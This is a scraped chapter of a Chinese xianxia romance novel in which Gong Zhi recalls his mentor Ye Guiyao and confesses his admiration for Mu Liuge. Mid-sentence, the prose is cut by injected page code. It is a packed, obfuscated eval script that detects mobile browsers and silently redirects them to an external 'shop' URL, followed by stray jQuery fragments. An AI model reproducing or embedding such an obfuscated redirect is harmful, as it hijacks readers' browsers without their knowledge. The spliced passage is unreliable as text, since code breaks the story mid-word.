“叶归遥是个什么样的人?”慕留歌问道。
“……”
“是个好人。不,不只是好人,”宫执思索了一会,笃定道:“他是整个万仙盟,除了白岐承以外,唯一愿意对我真心相待的人。”
慕留歌道:“喔。”
“他早就知道了我妖族的身份,却还是接纳了我,还帮我隐瞒……”
宫执回忆起自己初见叶归遥时的场景。入盟以后,万仙盟新一批弟子之间,还有大大小小数场比试,宫执毫无争议将他们碾压,成为了第一名,得到机会独自面见盟主。
叶归遥已经六十余岁了,因为长期修行功力深厚,外貌上看着还是个容姿俊朗的年轻人。
记忆中的他素爱穿一身极为简朴的白衣,整个人淡然平静,就好像一束静立绽放的白玉兰。
“他的实力深不可测,但是却鲜少出手。他少言寡语,却让人感觉很温和。他能一眼看穿别人的心底,站在他面前就好像没有秘密。”
叶归遥双眸明亮如星,向十六岁的宫执伸出手来,身后是赤霞关漫山红遍的枫林:
“许多人的命运不由自己决定,他们不得已被逼着做了很多选择,这不是他们的错……”
“人族妖族也好,不论出身低微高贵,都不该互相仇恨,而是应该彼此约束,彼此包容……”
“我想建立的万仙盟,是一个没有偏见、足以包罗万象的地方。宫执,你愿不愿意跟我一起,见证那一天的到来?”
那只手掌宽厚又温暖,指端是习武磨砺出的薄茧,却带给宫执无比安定的感觉。过往回忆历历在目,好像一切就发生在昨天。
宫执问过对方,为什么要冒险接纳自己一个妖族入盟。叶归遥说,因为他跟一个人打了一个赌,赌那个人能不能回头。
回头,没有过错的人何谈回头。宫执当年并不理解这句话,现在想来,感慨万千。也许叶归遥在一开始,就对他私下奉养荧惑一事了然于心,但是仍寄希望于宫执苦海回头……
也是一个凉夜,叶归遥携酒而来,问过他一个问题:“宫执,你到底想过什么样的日子?”
十六岁的宫执不明白对方为什么要问这个,因为毫无意义……还用问么,谁人不想登及巅峰?
“倘若你已经是天下第一,已经立于不败之地,之后呢?你又要去做什么?不用着急回答我,你可以慢慢想——”
时致今日,他还是无法给出一个确切的答案。
“可是也是叶归遥当众将你打回原形,让你被天下人嗤笑。”
慕留歌冷静的嗓音,将宫执从回忆中拉了出来,带回了冰冷的现实:“然后,你杀了他。”
宫执摇了摇头,“不是的。他抛弃成见接纳我,还对我诚心相待,我感谢他还来不及,怎么可能会杀他?”
慕留歌不置可否地将酒斟上,浅抿了一口。
“宗门大比,胜者便是新一任盟主。我们约定好了不许对彼此放水,必须用尽全力……我们身上都负了伤,但不致命。最后决战之时,谁也没有预料到,我体内的荧惑会被他的玉兰白焱给逼出来,甚至人身也被焚毁,变回了一条狐狸。”
万仙盟宗门大比,宫执作为盟中史无前例的最年轻的修士,众目睽睽之下,向万人之上的叶归遥提出了挑战,对方欣然应战。
当时的宫执毫无顾忌地挥霍着荧惑的力量,从未思考过后路。在他心里,弱小代表屈辱,战死是对强者的嘉奖。就算早知道体内的东西日渐蚕食自己的生命,终局必然是毁灭,他也从未后悔——
直到他被白焱烧灼得遍体鳞伤,意识模糊,以为自己就要葬身于此……叶归遥拦在宫执的身前,用背影挡住了台下众人的目光,将他摇醒,在他耳边说了很多话,最后一句是:“快走——”
后面的事情,远远超出所有人的预料。宫执顶着一身伤,全凭意志支撑,逃到了赤霞关内万仙盟的一处禁地,终于耗尽了所有气力,晕了过去。而后几日,叶归遥重伤不治,撒手人寰。
宫执将脸埋进慕留歌披在他肩上的袍子里,手指抚着其上毛茸茸的鹤羽,“如果他真的要害我,为什么会让我快走?为什么会将雪蔚玉兰赐脉给我?而且我的人相重塑过,千叶白莲已然被焚毁,雪蔚玉兰为什么会安然无事……”
宫执手指抓进发丝里,声音渐渐低了下去,他想不通的事情还有很多。
这个世界上有形形色色的人,有的人似乎注定不平凡,注定肩负使命,甚至为此孤注一掷。
“他是我见过最厉害的人,所有人都喜欢他,所有人都心甘情愿追随他。他明明拥有一切,却从不满足,还想让身边的人,想让天下人都过得好!我从没有见过这样的人,好像他的身上在发光——”
慕留歌将对方满怀向往的神情看在眼里,轻声道:“那他对你一定很重要了。”
“是啊!”宫执认真地点了点头:“以前我不明白人类之间的情感,但是现在我好像懂了。他对我来说……”
他斟酌了一番用词,最终选了一个自觉无比贴切的:“他对我来说就像父亲一样!嗯……也有可能是大哥!差不多吧!”
“……”
慕留歌联想到了将军府的那两位,好笑道:“父亲和大哥,区别还是不小的吧。”
宫执挠了挠头:“是么?反正就是那么个意思,你明白就行了。”
他打出生起就没见过自己的爹,娘也是早早就去世了,世间唯一的亲人就是宫梵,两狐还聚少离多——直到长大,他才从旁人口中以及书本中渐渐了解这种情感,并抽象理解成了一种宽厚又安定的幸福。
慕留歌忽然将酒盏放下,定定地看着宫执,桃花眸目光温柔却无比坚定:“那我呢?我在你心里算什么?”
“你……”宫执被他盯得莫名心头一跳。
今夜的慕留歌与平日相比,沉稳了许多,也没有故意说一些捉弄自己的话,似乎很认真。他身上有一股淡淡的酒气,带着热意,烘得宫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555330|204428||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
执脑袋晕乎乎的。
晚风掠过树叶,沙沙作响,夜晚安静地只能听见彼此的呼吸声。
他与慕留歌,八年之前是师兄弟,是不打不相识的死对头,八年之后是他的救命恩人,是人美心善的雇主与变戏法的,是钦差和囚犯……他们之间关系似乎很近,又似乎很远。
“……”
慕留歌笑笑,酒盏递到唇边:“想不出来就算了,我就随便问问。”
宫执深吸了一口气:“你是我的执念。”
“噗——咳咳、咳咳咳!!”
慕留歌半口酒还未咽下,猝然听见这句,猛烈呛咳了起来。
宫执担心地拍了拍他的后背,帮他顺气:“留歌,你还好么?”
慕留歌难以置信道:“你方才说什么?”
宫执迎着对方错愕的眼神道:“我说,你是我的执念,有什么问题么?”
慕留歌擦了擦嘴角的酒痕,问了一个很关键的问题:“……宫执,你知道执念是什么意思么?”
“执念嘛,就是一种特别强烈的念头。这个我还是知道的。”宫执蹙着眉道,对自己又被当成文盲一事十分不满。
“……”
宫执掰着手指继续道:“数数也十年了吧……当初在源木山修行的时候,我们不打不相识,我是拂云宗的大师兄,你是新入门就不服管教的慕师弟。从那时起,打败你,就成了我的执念。”
原来是这个执念,慕留歌逐渐冷静下来。
宫执道:“进入万仙盟以后,我认识了很多强大的修士,和他们成为了朋友与对手,也开了很多眼界……可是在那里的时光,远远没有在源木山时与你相伴时吵架斗嘴有意思。”
“我刚进入拂云宗修行的时候,根本就没有进入万仙盟的想法,那些都是云襄子的意愿。一开始我只想在拂云宗做个叱咤风云的大师兄。直到后来,遇见了你。”
“你拥有我想要的一切,长得好看,说话也好听,家室背景也非比寻常。你来自堇阳,见识比我们都多,师父说你不是凡人,有朝一日定会离开这小小的拂云宗,等待你的是广阔的天下——”
宫执第一次将内心想法说出口:“那是我第一次产生去外面看看的想法,也是我第一次尝试去想象,你眼中的世界,会是什么样子……”
慕留歌瞳孔微微颤动。
宫执脸上的笑容发自内心,“你也许不是我的执念。慕留歌,你是我的憧憬。”
慕留歌将目光不自然移开,头偏了过去,耳朵微微泛红。
宫执没察觉道对方的失常,还在那里一个劲儿地说:“不过你这人就是有的时候嘴巴太讨厌了!总是给我挖坑,看我的笑话,这个不好,这个得改!”
“好。”对方低声道。
宫执没反应过来:“啥?”
慕留歌笑笑:“以后我不说大师兄不喜欢听的话了,就捡着你爱听的话说,好不好?”
宫执:“……喔!那自然是好!”